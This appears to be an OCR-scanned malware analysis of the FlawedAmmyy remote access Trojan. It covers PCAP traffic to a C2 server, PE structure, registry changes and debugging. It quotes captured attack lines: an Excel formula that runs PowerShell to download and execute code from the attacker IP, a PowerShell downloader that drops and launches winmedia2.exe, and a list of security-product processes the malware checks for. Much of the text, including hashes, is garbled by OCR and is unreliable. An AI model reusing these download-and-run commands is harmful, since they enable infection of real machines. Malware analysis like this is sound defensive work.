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FLAWEDAMMYY RAT
MALWARE ANALYSIS

MALWARE SUMMARY

FlawedAmmyy is a remote access Trojan (RAT) —a malware that is utilized by attackers to take full
control over the target machine. Which is based on leaked Ammyy Admin software. Ammyy
Admin is a popular remote access tool used by businesses and consumers to handle remote
control and diagnostics on Microsoft Windows machines which makes the FlawedAmmyy RAT to
exhibit the functionality of the leaked version, including Gain complete access to PCs’ camera
and microphone, Capture screenshots, Access a variety of services, steal files and credentials,
Steal customer data, proprietary information and more.

FlawedAmmyy was used in both massive campaigns such as phishing campaigns, to potentially
create a large base of compromised computers, as well as targeted campaigns that create
opportunities for actors to steal customer data, proprietary information, and more. In the latest
campaign of TA505 which is a prolific Cybercriminal group known for attacks against multiple
financial institutions and retail companies, they started using HTML attachments to deliver
malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target South
Korean users.
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DISSECTING FLAWEDAMMY

PCAP Attack Flow Analysis

We found this suspicious PCAP file that related with FlawedAmmy. To improve our
understanding, let's take a closer look at this.

C Reanalyze = Similar v More
dfT1e703f3079d2380aa3c0bd1d47b6d40c6c3ef6c54980b2b20e25adf829920 Size

404 Not Found.pcap 893.33KB 26 days ago

cap malware trojan
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Security vendors' analysis & Do you want to automate checks?

AliCloud AlYac

Acronis (Static ML) \:w Undetected AhnLab-v3 w:| Undetected

Mo, Time Source Destination Protocol Length  Info
4 B,313655 1a8.7.13.181 169.239.129.17 HTTP 19& OPTIONS / HTTP/1.1
i 6 8.622724 169.239,129.17 18.7.13.181 HTTP 268 HTTR/L1.1 286 OK
14 1.433258 18.7.13.181 169.239.129.17 HTTP 397 GET /424 HTTP/L.1
17 1.743592 169.239,129.17 18.7.13.181 HTTP 226 HTTR/L1.1 286 0K
23 8.7760237 18.7.13.181 169.239.129.17 HTTP 121 GET /2@ HTTP/L1.1
26 9.898745 169.239,129.17 18.7.13.181 HTTP 389 HTTR/L.1 286 OK
28 9.268859 18.7.13.181 169.239.129.17 HTTP 168 GET /fspacel HTTP/L.1
198 11.636923 169.239,129.17 18.7.13.181 HTTP 254 HTTR/L1.1 286 OK
264 34,013941 18.7.13.181 169.239.129.17 HTTP 148 GET /lskjfbg83847fnrf98%zd HTTR/1.1
1113 38.151993 169.239,129.17 18.7.13.181 HTTP 574 HTTR/L.1 286 0K

OPTIONS ¢ HTTR/1.1

User-Agent: Microsoft Office Protocol Discowvery

Host: 169.239.129.17 REQUEST
Content-Length: @

Connection: Keep-Aliwve

HTTP/L.1 286 Ok

Server: nginx/l.13.4

Date: Fri, 13 Jul 2918 14:@l:ed GMT
Content-Type: applicationfoctet-stream
Content-Length: @

Connection: keep-aliwve

Content-Length: @

Content-Type: text/plain

RESPONSE

User-Agent: Microsoft Office Protocol Discovery

This is what interesting us, the user-agent request. It might be Excel, Word macro vbs, or any
enable content to happen!



Mo, Time Source Destination Protocol Length  Info

14 1.43325a 18.7.13. 181 169.239.129.17 HTTF 397|GET |/484 HTTP/1.1
23 8.779237 18.7.13. 181 169.239.129.17 HTTF 12YGET |/2@@ HTTR/1.1
28 9.268859 18.7.13. 181 169.239.129.17 HTTF 18| GET |/spacel HTTP/1.1
264 34.,813941 18.7.13. 181 169.239.129.17 HTTF 1AB|GET |/1skjfbg83847 fnrf989gd HTTP/1.1

There's request GET to /404 and what we think is that it requests to server errors.

GET j4@4 HTTP/1.1

Accept: text/html, text/fplain, text/xml

User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; WOwed; Trident/7.@; 5LCC2; (NET CLR 2.8.58727; .NET CLR 3.5.38729; .NET CLR 3.0.30729; Media
Center PC 6.0; .NET4.@C; .MET4.@E; ms-office)

Accept-Encoding: gzip, deflate

Host: 169.239.129.17

Connection: Keep-Alive

HTTR/1.1 266 oK

Server: nginx/l.13.4

Date: Fri, 13 Jul 2018 14:81:@5 GMT
Content-Type: application/octet-stream
Content-Length: 166

Last-Modified: Fri, 13 Jul 2618 16:15:33 GMT
Connection: keep-aliwve

ETag: "5bA87bc5-a6"

Accept-Ranges: bytes

=cmd|* /o Ci\Windows\System32\WindowsPowerShellywl. @\pawershell.exe -nop -Mologo -c IEX ((new-object net.webclient).downloadstring(\"http://
169.239.129.17/266%"))" | AG

What! We found that it request to download 200\ file!
1 AQ This possible string also might be on excel format, and it is another indicator.

More interesting thing, we found!

GET /f28@ HTTP/1.1
Hest: 169.239.129.17
Connection: Keep-Alive

HTTP/1.1 288 Ok

Serwver: nginx/l.13.4

Date: Fri, 13 Jul 2018 14:91:13 GMT
Content-Type: application/octet-stresam
Content-Length: 335

Last-Modified: Fri, 13 Jul 2018 16:15:27 GMT
Connection: keep-alive

ETag: “5b4&7bbf-14f"

Accept-Ranges: bytes

furls = "http://169.239.129. 17 /spacel™,"™
foreach($url in $urls){

Try

{
Write-Host $url
3fp = "}env:tempywinmedial.exe”
Write-Host $fp
fwe = New-Object System.Net.webClient
$we . DownloadFile (furl, 3fp)
Start-Process %fp
break

i

Catch

{

i

}
GET fspacel HTTP/L.1
Host: 169.239.1259.17

HTTR/1.1 268 Ok

Serwver: nginx/l.13.4

Date: Fri, 13 Jul 2018 14:91:13 GMT
Content-Type: application/octet-stream
Content-Length: 168256

Last-Modified: Fri, 13 Jul 2018 18:13:34 GMT




$fp = "$env:temp\winmedia2.exe"

Start-Process $fp

It will start the process of winmedia2.exe

I
GET /fspacel HTTP/1.1
Host: 169.239.129.17

HTTP/1.1 26@ OK

Server: nginx/1.13.4

Date: Fri, 13 Jul 2818 14:81:13 GMT
Content-Type: application/octet-stream
Content-length: 168256

Last-Modified: Fri, 13 Jul 2018 1@:13:34 GMT
Connection: keep-aliwve

ETag: “5b4&7bde-27266"

Accept-Ranges: bytes

L. LLiThis program cannot be run in DOS mode.)

el JuRich. /U oo W PELL Lz H

o o

1ot U..V.u..ocsmouf.=.Dg. . t.h.D@...... NI NTIR s | U. .5¥uUj
...... @.3.P.0%.d......D8(.X..p....t:. |, L.t v
....... _+[.3.d.
,,,,, Mo 0 R8O LSO AR SO e IR KO e UOPYY YT s3I T e et -t Hos e

/space1 we have an actual PE file with the formats. we can analyse the sample for next stage.

Z a  df71e703f3079d2380aa3c0bd1d47b6d40c6c3ef6c54980b2b20e25adf829920

+ GET http://169.239.129.17/spacel

HTTP Requests
+ OPTIONS http://169.239.129.17/
+ GET http://169.239.129.17/404

GET http://169.239.129.17/200

GET http://169.239.129.17/spacel

File Hash 5f251ed33fb1b6960b4d5641b44b44f672777652a69649977a27ecT9ch6153da
File Type PE32 executable (GUI) Intel 80386, for MS Windows

DateTime 2018-07-13 16:01:13.660679

Host 169.239.129.17:80

URL http://169.239.129.17/spacel

Response Code 200

Response Size 160256

+ GET http://169.239.129.17/Iskjfbg83847fnrfo89gd

We can also check the SSL to see it suspicious things.

No. Time Source Destination Protocal Length  Info
1118 84.424258 18.7.13. 161 163.208.86.226 TCP 66 49243 » 443 [SVN] Seg=8 Win=8192 Len=6 MS5=146@ WS=256 SACK_PERM=1
1119 84748534 163 .268.86. 226 19.7.13. 181 TCP B6 443 » 49243 [SVNJ AEK] Seq=8 Ack=1 Win=14668 Len=@ M535=1368 SACK_PERM=1 W5=512
112 84.740817 16.7.13. 1681 163 .268.86.226 TCP 60 49243 » 443 [ACK] Seg=1 Ack=1 win=65536 Len=8
L 5, PR .70 155, e LR, 200 22 S5l M Wireshark - Follow TCP Stream (tcp.stream eq 4) - df71e703f3079d2380..  — O X
1122 84.983624 163.268.86.226 18.7.13. 181 TCP
1123 84.9836%0 183.268.86.226 18.7.13.181 TCP U]
A, BB TS 17 15, 5L 1552, . TP =...Q. G, /o @CH AL 50, Lo B2, 1d=5215930180s=7 SPL
1125 89. 176756 19.7.13.161 16326886, 276 st x64&priv=Admindcred=Bob-PC\bob.mills $&pcname=BOB-PC&avname=&build_time=86-12-2816
12:35:49 PMBcard=6&. ..
1126 83.469575 183.268.86.226 18.7.13.181 TCP
1129 144, 168751 16.7.13. 1681 163 .268.86.226 TCP POU]
1138 144.41%468 183.268.86.226 18.7.13.181 TCP
1131 144 428131 163 .2688.86.226 18.7.13.181 TCP
| 132144619088 1e.7.13.181  1e3.008.86.226 TP |

Interesting!



id=52159321&0s=7 SP1 x64&priv=Admin&cred=Bob-PC\bob.mills$&pcname=BOB-

PC&avname=8&build time=06-12-2016 12:35:49 PM&card=0&

avname= also it checks for antivirus name here!

Popular threat label: trojan.intesofti/egjmm

Detection: 63/72 security vendors flagged this file as malicious

MD5: 656b4c539718da26553dc0d2b29c6701

SHA-1: ealel8f9848c90d620b59373268da7dfeb817dba

SHA-256: 5f251ed33fb1b6960b4d5641b44b44{672777652a69649977a27ec79cb6153da
File type: Win32 EXE

Compiler: Microsoft Visual C/C++ (15.00.21022) [LTCG/C++]

Linker: Microsoft Linker (9.00.21022)

Tool: Visual Studio (2008)

C Reanalyze = Similar More

5f251ed33fb1b6960b4d5641b44b44f672777652a69649977a2TecT9cb6153da Size s A EE e 9 ‘.

spacel.exe 156.50 KB 21 days ago EXE

peexe  direct-cpu-clock-access runtime-modules  detect-debug-environment
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Popular threat label Threat categories trojan  downloader Family labels intesofti egjmm  skeeyah

Security vendors' analysis ® Do you want to automate checks?

AhnLab-v3 Alibaba
AliCloud AlYac
Antiy-AVL Arcabit
Avast AVG

Avira (no cloud) BitDefender




FlawedAmmyy RAT Static Analysis

&t 5f251ed33fb1b6960b4d5641b44badf6T277765aa69649977a2TecT9cbb153da

Offset(h) 00 01 02 03 04 05 06 07 08 09 0OA OB OC OD OE OF Decoded text

O00DODoOOD 4D 5A S0 00O 03 00 OO OO o4 OO OO OO FF FF 0O OO ﬁz ......... ..
00000010 BS 00 00 OO OO OO OO0 OO0 40 00 00 OO0 00 OO0 00 00 "0 eeee. Bowuuunn
ODDODDZ0 00 OO0 00 00 00 00 00 OO0 o0 00 00 OO0 00 OO0 00 00 wesssssssnaanaaas
O0DODO30 00 00 00 OO0 OO0 00 00 00 00 00 00 00 EQ OO0 00 00 4 s e e s ssssas =1

00000040 OE 1F BA OFE OO0 B4 09 CD 21 BS 01 4C CD 21 54 68 [..°.. .I!,.LI!'Th

00000050 69 73 20 70 P2 6F 67 72 61 6D 20 63 61 6E 6E 6 is program canno
QooQooe0 74 Z0 62 65 20 72 75 6E 20 62 6E 20 44 4F 53 ZO0 |t be run in DOS
QDOoooO070 6D 6F 64 65 2E 0D OD OAL 24 OO0 00 OO0 OO0 OO0 OO OO0 fmode. ... 9.0 cu..
00000080 8D C4 41 26 C9 A5 2F 75 C9 A5 2F 75 C9 A5 2F 75 L AAGE¥/uE¥/uE¥/u
00000090 D7 F7 BA 75 CA A5 2F 75 D7 F7 AC 75 CO LS 2F 75 x:°uE¥/ux=-ul¥/u
00D0O0O0OAD EE 63 54 75 €2 A5 2F 75 C9 A5 2E 75 F6 A5 2F 75  icTul¥/uE¥.us¥/u
000000BO D7 F7 AS 75 CB AS 2ZF 75 D7 F7 BB 75 €8 L5 2F 75 =¥uE¥/uxisuE¥/u
000000CO D7 F7 BE 75 €8 LS 2F 75 52 69 63 68 C9 A5 2F 75 x<%uE¥/uRichE¥/u
Qo0QooDo Q0 OO0 00 00 00 OO0 00 OO0 00 OO0 00 OO0 00 OO0 00 OO0 wesssssssssssans
QOOOO0OED 50 45 00 OO0 4C 01 05 00 O7 74 48 5B OO0 OO 00O OO HE . L zH[
QOOQ00F0 QO OO0 0O OO0 EO OO0 O3 01 OB 01 09 00 00 18 00 00 6es eBlesasssaaans
Qoo00100 Q0 56 02 00 OO0 OO0 OO0 OO0 20 27 00 00 00 10 00 00 W.eeaeae.w e e e

Most of the code obfuscated and gibberish.

ivdcf

ile

yU4i3001e

2- rlc7svi),dls,#

#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
#25107wvlr, - 11, /psdduq rl<7svi),olo,#
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25187¢wvlr, - 1 1#. /psdcvg ri<7svi),ole, ¢
*25107y238

D)dtfkj




If we scroll below in the end, we will be able to see 1level="asInvoker", asinvoker as invoker
the program will not run in administrator. there's no UAC will happen here. It will execute in
userland.

ul7
N VrYybty
J_YFP@Quuf
t+DBUWIA)
0ZAW
fVsSGCYPEFM
alGowpdury23g87ihdtfkjssuy3d4e3wopef jawhe78yr63f1iudsifIUIGowpdury2387ihdtfkjs6uy3de3wopef jawhe78yre3
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionlLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
</requestedpPrivileges>
</security>
</trustInfo>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDIHGXXPADDINGPADDING

Level 1 (userland) request permission level.

OO0DZ26F70 20 3C 72 65 71 75 65 73 74 65 64 50 72 69 76 69 <requestedPrivi
ODODZeFB0 6&C 65 67 65 73 3E OD 0OA 20 20 20 Z0 Z0 Z0 20 20 leges>..
QoOoZeF90 3C 72 65 71 75 685 73 74 65 £64 45 V5 65 63 75 74  <recquestedExecut
OO0ZeFAD 69 &6F 6E 4C 65 76 65 6C 20 8C 65 76 65 &6C 3D ZZ ionLevel level="
OODZeFBO 61 73 49 sE 76 oF 6B 65 72 22 20 75 69 41 63 63 aslnvoker”™ uilcc
DOD26FCO 65 73 73 3D 22 66 61 6C 73 65 22 3E 3C 2F [fJ2 65 ess="false"></j4=
OO0zZeFDO (71 75 65 73 74 65 64 45 78 65 63 75 74 659 6F 6 [mplciddelndTulbinkis]
OO0Z6FED HWC B85 786 65 Ed 3E OD OA 20 20 20 20 20 20 3C ZF s </
OO0Z6FFO 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6C 65 requestedPrivile
QoozZ7vo0oo 67 65 73 3E OD OA 20 Z0 20 20 3C ZF 73 65 63 75 ges>.. </secu
pDOD27010 72 69 74 79 3E OD DA Z0 20 3C 2F 74 72 75 73 74 ritys».. </trust
00027020 49 ¢E 66 oF 3E OD OA 3C 2F 61 73 73 65 6D 62 6C Info>..</assembl
Qooz7030 79 3E 50 41 50 41 44 44 49 4E 47 55 58 50 41 44 y>PAPADDINGXEPAD

Looking for process enumeration

kernel3z.d11

user3z
QHACTIVEDEFEMNSE. EXE
QHSAFETRAY . EXE
QHWATCHDOG. EXE
CMDAGENT . EXE

CIS. EXE

W3LITE. EXE
VIMAIN. EXE

V3SP. EXE
SPIDERAGENT . EXE
DWENGINE . EXE
DWARKDAEMOM . EXE
EGUT . EXE

EKRN. EXE

Rocess32FirstW, Process32NextW =enumerate process



Packing Analysis
Looks normal.

Enktry point

! b 00402720

P
PE Irnpiork
ions p

Tim

o e
0005 = 7-13 18 0002a000

Scan Endianness Mode
Ditect It Easy(DiE) LE

compiler
linker

Entropy check.

00027200

Offzet Size Entropy Status

100,000 150,000

Some byte has been used multiple times. something strange. Here is GUI from resource
section.



CBGPRTS MENU
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

o AYRVMNAIMI ¢ 1033

o LKHMEYKIC © 1033

o MYFHCY 1033

W CBGPRTS @ 1033

o QECHNYOH © 1033

- L WIGRDOQORRCSGY ¢ 10]
, String Table 9

1
2

3

4| MENUITEM "8oxgVinhgh”, 179
S| MENUITEM "&GTCsHITI", 191
6| MENUITEM "8aHOzlqmOcE", 136
7
g

POPUP "8y OksL"

> MEMUITEM "&dvMazAdpQa”, 106
» e Accelerators 10 MENUITEM "&CTTsQ1", 103
> |, RCData 11 MENUITEM "SAHAUMK", 152
el HTML 12| MENUITEM "RrnKDEHWCLGX", 112
'y 55555 1 1033 3| POPUP "acFTer" Menu - OBGPRTS x
> | Marifest E {MENUITEM IO, 140 xgVnhgb  GTCstUT) aHOzlgmOcG  OivMyQiksL
,

16 MWENUITEM "&OwupPB”, 188 Design Mode []
17 MENUITEM "&aZxlxmae”, 170

18 POPUP "8KAzsoXp"

19 1

20 MENUITEM "RBWIBCFMF", 104

21 MENUITEM "RshilwOQsoiwr”, 145

22 POPLP "&OMZIETdh"

23 {

24 MENUITEM "&FqT¥FaLG", 107

.rsrcfile ratio is too big, Indicator verification for us. Wait why there is two . rdata lol?

name tpext rdata rdata .data Jrsre

md35 C505885DBECDECBBBAOTDE... 55DEB3253C6A3B2CED6362.. DESTCBO72E71FB876550819... 16EFSA447ESBI21A9ATFAOE.. 3FO745AAA47800BEGFTBTBI...
entropy 5.767 5. 021 0.298

raw-address 0x00001200 0x00001CO0 000002600 [)x[X)OOZSDO

raw-size (159232 bytes) 0x00000EQO (35&4 bytes) 0x00000A00 (2560 bytes) 0x00000A00 (2560 bytes) 000000200 (512 bytes) 0x00024A00 (150016 bytes)
virtual-address 0x00401000 000402000 0x00403000 (00404000 0x00405000

virtual-size (158631 bytes)  0x0D0D0C26 (3110 bytes) 000000951 (2385 bytes) 0x000009FD (2544 bytes) 0x0000040C (1036 bytes) 0x00024834 (149556 bytes)
entry-point - 0x00002720 - - -

characteristics 0x60000020 (0x60000020 0x40000040 (0xC0000040 0x40000040

writable - - - x -

executable x x

shareable

discardable

initialized-data
uninitialized-data
unreadable
self-modifying
virtualized

Identifying Malicious Functionality

Too have .rdata to be executable is suspicious ! it's read permission. we found something
interesting which is .rdata in execute permission.

The resource data is too big! other than others. The Raw Size and Virtual Size is bigger than
others.

name tpext .rdata .data Jasrc

md3 C505885DBECDECBBBAOTDE... 55DEB3253C6A3B2CED6362.. DES7CBO72E71FB87655D819... 16EFSA447ESBI21A9ATFEOE... SFOTASAAAATS00BEGF7B7BY..
entropy 5.767 6.064 5.021 0.298 7407

file-ratio (99.36%) 2.24% 1.60 % 1.60 % 032% 93.61 %

raw-address 0x00000400 0x00001200 0x00001C00 000002600 0x00002800

raw-size (159232 bytes) 0x00000EQD (3584 bytes) 0x00000A00 (2560 bytes) 0x00000A00 (2560 bytes) 000000200 (512 bytes) 0x00024A00 (150016 bytes)
virtual-address 0x00401000 0x00402000 0x00403000 0x00404000 0x00403000

virtual-size (158631 bytes)  (x00000C26 (3110 bytes) 000000951 (2385 bytes) Ox00000SFO (2544 bytes) 0x0000040C (1036 bytes) 0x00024834 (148556 bytes)
entry-point - 0x00002720 - - -

characteristics 0x60000020 0x60000020 0x40000040 0xC0000040 0x40000040

writable - - - x -

executable x I X I

shareable

Malware Engineering / Malware Analysis / VX-Cookies / page 11



Disasm: .rclata General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs = Imports ™ Resources = LoadConfig

+

Name  Raw Addr. Rawsize Virtual Addr. Virtual Size Characteristics PirtoReloc. Mum. of Reloc.  Num. of Linenum.
> text 400 E00 1000 28 60000020 0 [} [}

W rdata 1200 A0D 2000 951 60000020 0 1) 1)

> 1C00 - 2951 -

> .rdata 1C00 AOD 2000 9F0 40000040 0 [ [

> .data 2600 200 4000 40C 0000040 0 [ [

> rsrc 2800 24A00 5000 24834 40000040 0 1) 1)

Raw 8 x |virtual ]

Function call legitimate api can be used for malicious purposes.

functions (63) blacklist (11) ordinal (0) library (3)
RtiMoveMemory x kernel32.dll
QueuelserAPC x kernel32.dll
GetCurrentThread X kernel32.dll
Process32NextW x kernel32.dl
CreateToolhelp325napshot x kernel32.dll
GetCurrentProcessld X kernel32.dll
TerminateProcess X kernel32.dll
Process32FirstW x kernel32.dll
AttachThreadinput x user32.dll
SetWinEventHook X user32.dil
CreateServiceA x advapi32.dil
VirtualFree - kernel32.dll
GetProcessHeap - kernel32.dIl
TlsSetValue - kernel32.dll
GetConsoleCP - kernel32.dll
SizeofResource - kemne32.dll
GetSystemDirectoryA - kernel32.dll
RetACD . karnal22 All

LoadResource, FindResourceW, Lockresource, Findresource =extractdatafrom
resource section (.rsrc). It’s common for malware use this type of techniques.
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Disasm: rdata General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs Impaorts Resources LoadConfig
+
Offset Mame Func. Count Bound? CriginalFirstThunt TimeDateStamp  Forwarder MarmeRVA FirstThunk
1FEC KERNEL32.dII 44 FALSE 3484 0 0 3TRA 3020
2000 USER32.4ll " FALSE 3538 0 0 38C4 3004
2014 GDIz2.dl 3 FALSE 3474 ol 0 38FA 3010
2028 WINSPOCLDRY 2 FALSE 3568 0 0 3924 3104
203C ADVAPIZ2 dll 3 FALSE 3464 ol 0 3964 3000
KERMWELZ2.dIl [ 44 entries]
Call via Mame Ordinal Criginal Thunk Thunk Forwarder Hint
3084 IstrepyW = 37EE 3TEE = 4B0
3098 UnhandledExceptionFilter - 3986 3966 - 43E
309C GetCurrentProcess = 3942 3942 = 149
3040 TerminateProcess - 398E 398E - 42D
3044 Virtual Query = 397E 39TE = 450
3048 RtlUnwind - 3972 3972 - 392
30AC GetModuleHandleW = 3502 3502 = 1F9
30B0 GetCurrentActC - 35BE 35BE - 144
30B4 LoadResource = 35AE 35AE = 2Fb
30B8 FindResourceW - 359E 359E - 139
30BC CreateFileA = 3590 3580 = 78
3000 HeapReAlloc - 3582 3582 - 244
30C4 Process32First¥ = 3710 3710 = 344
3008 ExitProcess - 3574 3574 - 104
30CC SetUnhandledExceptionFilter - 3902 3902 = 415

WINAPI need to be validate and checked. Reverse engineering it to validate the legitimacy.

What is EKRN.EXE?

The genuine ekrn.exe file is a software component of ESET Smart Security by ESET.
ESET Smart Security is an Internet Security Suite that protects computers against malicious
programs...The product offers an antivirus scanner, a PUA (potentially unwanted applications)
shield, a personal firewall, anti-phishing and anti-ransomware technology, cloud protection

technology, machine learning algorithms, parental protection, and more.




If we go to its call function, we can see it inside the call function it calls
CreateToolhelp32Snapshot

sub_402648 proc near

; th32ProcessID
; dwFlags
Cr'eateTD-:thelpE!‘QSnaps'm:Jt
ds:1strcpyW

CreateToolhelp32Snapshot
function (tlhelp32.h)

Article = 10/13/2021 & Feedback

In this article

Remarks

Show 2 more

Takes a snapshot of the specified processes, as well as the heaps, modules, and

threads used by these processes.

Syntax

C++

HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID

)i




Rename the function.

Ed Fun

Function name

push a daemonExe
call L um_|

num_here




FlawedAmmyy RAT Dynamic Analysis

LSASS.exe — Contains accounts password hashes, permissions, Kerberos ticket and more.

LSM.exe — Manages local sessions. From Windows 8 and above the process is part of the
SVCHOST.exe process.

SVCHOST.exe — Has multiple instances/processes. Initiates services with the “-k” argument
followed by a value that exists in the “ Software\Microsoft\Windows
NT\CurrentVersion\Svchost” registry key.

Idle — Created by the ntoskrnl.exe. Always have the PID of 0 and has no visible PPID.
System - Created by the ntoskrnl.exe. Always have the PID of 4 and has no visible PPID.

SMSS.exe - Session Manager. The first user-mode process with the PPID of System (PID 4). Initiates
the Winlogon.

CSRSS.exe — Windows Subsystem Process. Used by the NT AUTHORITY\SYSTEM user, helping the
kernel manage some stuff.

Explorer.exe — User account of the logged in user, no parent process. Malware tend to “hide” under
this process and a good indicator of a malicious activity if the process connects to a remote host.

WINLOGON.exe — Windows login screen. Sends credentials to LSASS.exe that in turn verifies it with
the local SAM or with the AD-KDC.

SERVICES.exe (SCM) - Manages Windows services. The list of services defined in the registry key of:
“HKLM\SYSTEM\CurrentControlSet\Services”

WININIT.exe — Windows Initialization Process. Created by SMSS.exe. PPID of services.exe, lsass.exe,
and lsm.exe.

Spoolsv.exe - Malware can infect spoolsv.exe to gain unauthorized access, execute malicious tasks,
or hide its activities by exploiting this legitimate Windows process responsible for managing print.

a4 spacel
Offset(h) 00 01 02 03 04 05 06 07 03 09 0L OB OC OD OE OF Decoded text

QQQoo00o0 hD SA 90
QoQooo010  BS OO0 OO0
Qoooo0z0 00 OO0 OO0
ooooo030 00 OO0 OO0
00000040 OE 1F BA
Oooooos0 69 73 20
Qoooooe0 74 Z0 62

[
[ ]

03 00 00 00 04 OO 00 OO FF FF
00 00 00 00 40 OO 0O OO QO OO0
o0 00 00 OO0 OO0 OO0 00 OO0 OO0 0o
o0 00 00 OO0 OO0 OO0 OO0 OO0 EO OO
00 B4 09 CD 21 BE D1 4C CD 21
72 6F 67 7Z 61 6D 20 63 61 6E B6E 6F |is program canno
20 72 75 6E 20 62 B6E Z0 44 4F 53 20 |t be run in DOS
ZE OD OD DA 24 00 0D OO0 OO0 OO0 00 OO0 Jmode....$..iuua.

(]
(]

-
o]

-1

=
o

QooQooo70  eD 6F 64 65 N D

00000080 8D C4 41 26 C9 AS 2F 75 C9 A5 2F 75 C9 LS 2F 75 .AARSE¥/uE¥/uE¥/u
00000090 D7 F7 BA 75 CA AS 2F 75 D7 F7 AC 75 CO A5 2F 75 x:°uE¥/ux:-ul¥/u
OO0DO0AD EE 63 54 75 C2 A5 2F 75 €9 L5 2E 75 F6 A5 2F 75 icTul¥/uE¥.ud¥/u
OO00D00BO D7 F7 AS 75 C8 A5 2F 75 D7 F7 BE 75 C8 A5 2F 75 x:¥uE¥/ux<suk¥/u
DO00DOCO D7 F7 BE 75 €8 AS 2F 75 52 69 63 68 C9 A5 2F 75 x:XuE¥/uRichE¥/u
00OQO00D0O 00 OO0 OO0 OO 00 OO0 OO0 OO0 00O OO0 00 OO0 OO0 0D 00 00 wessssssssasaaan
QQOQOO0E0 50 45 00 OO 4C O1 05 00 O7 7A 43 5B 00 0O OO OO .L ZH[.c .
OOQO0DOFD OO0 OO0 OO0 OO0 EO OO O3 01 OB 01 09 00 00 18 00 00 &ueeBlessasnsanns




Persistence

Time o...
1:54:07
1:54:07....
1:5407
1:64:07...
1:54:07
1:64:07...
1:54:07
1:54:07
1:54:15..

W osp
W sp
W sp

Process Mame
W spacel.exe
W spacel.exe
W spacel.exe
W spacel.exe
W spacel.exe
W spacel.exe

PID Operation

2224 [ RegSetvalue
2224 [ RegSet/alue
2224 B RegSetvalue
2224 [y RegSetv/alue
2224 [ RegSetvalue
2224 [y RegSetvalue

acel.exe 2224 Bf RegSetvalue
acel.exe 2224 [y RegSetvalue
acel.exe 2224 [ RegSetvalue

Path

HKCUhSoftwarei\Microsoftiyindows\Currentversiom|ntemet Settings\ZoneMap\ProxyBypass
HKCUMS oftware\Microsoftindows\Currentersiomintemet Settings\Zonebapintranethlame
HKCUNSoftware\Microsoftindows\Currentversion\intermet SettingsiZoneMap\UNCAszintranet
HKCIMNS oftware\Microsoftindows\CurrentvWersionintemet Settings\ZoneMaplAutoDetect
HKCUNSoftware\MicrosoftWindows\Currentversion\intermet Settings\ZonehMap\ProxyBypass
HKCUhSoftware\Microsoftiyindows\Currentversionntemet Settings\ZoneMapiintranetMName
HKCUNSoftware\Microsoftindows\Currentversion\intemet SettingsiZoneMap\UNCAszIntranet
HKCUhSoftwared\Microsoftiyindows\Currentversionlintemet Settings\ZoneMapiAuto Detect

SUCCESS

Type: REG_DWO

Result Detail
SUCCESS Type: REG_DWO
SUCCESS Type: REG_DWO...
SUCCESS Type: REG_DWO
SUCCESS Type: REG_DWO...
SUCCESS Type: REG_DWO
SUCCESS Type: REG_DWO...
SUCCESS Type: REG_DWO

HELWSOFTWARE MicrosoftiWindows NTyCurrenfversioniMotificationsiDatal 418407 3AA3BC3475 SUCCESS

We notice also the file have capability to automatically delete it-self.

Type: REG_BINAR.

Most of the operation we can see that the malware tries to look for processes.

Args [

|

[E:'\iD EFENSE\Systinalyzerhapi_log.dl |

Inject DLL
Freeze At [

lgnore (Slow) |

Processes I Log I

Continue
Re-Apply

pid ] Process [ Status

v lgnore Long Sleeps
[~ Mo GetProcAddress
[~ No Registry Hooks
[~ Block DpenProcess
v Advance GetTickCount

] Config Handler I r

1024 spacel - Copy... 100073f0

1178 spacel - Copy... 1000790 r
r
| Block NtSystemDebugCH
[ lanore ExitProcess
I~ Capture VirtualFree

Call Log Stop Logaing Parse Find Save Clear | Hook Lib LogLevel |0 ,l

pid | msg | Count

1178 ccl,**** |nstaling Hooks ==

1178 402653 CreateToolhelp325napshotiflags: 2, pid:0) 3

1178 76460420  EwitThread])

1178 402653 CreateT oolhelp32Snapshot(flags: 2, pid:0) g

1178 402621 |IsDebuggerPresent(] =0 |

This in where we have limited idea and we are in the end of idea of dynamic analysis, now we

need to reverse engineering it &



Part 1 — Dynamic Reverse Engineering FlawedAmmy RAT

We try step over this call, and it show some crash happen, something might be wrong happen
here. let’s check

loc_4025DE:
mov
retn

sub_4025A0 proc near

push
mov

push
push
push
mov

push

ronized with EIFP)

Let’s focus on this debugger crash.

ocess_enum_here

aDwarkdaemonExe
ess_enum_here

t aEguiExe
ss_enum_here

loc_402948: ; uExitCode
push

call

start endp




push
mov
push
push
push
mov

push
mov
sub
push
push
push
mov
mov
mov
pushf
or
.rdata:0840250A popf
nop
jmp loc_4825E9

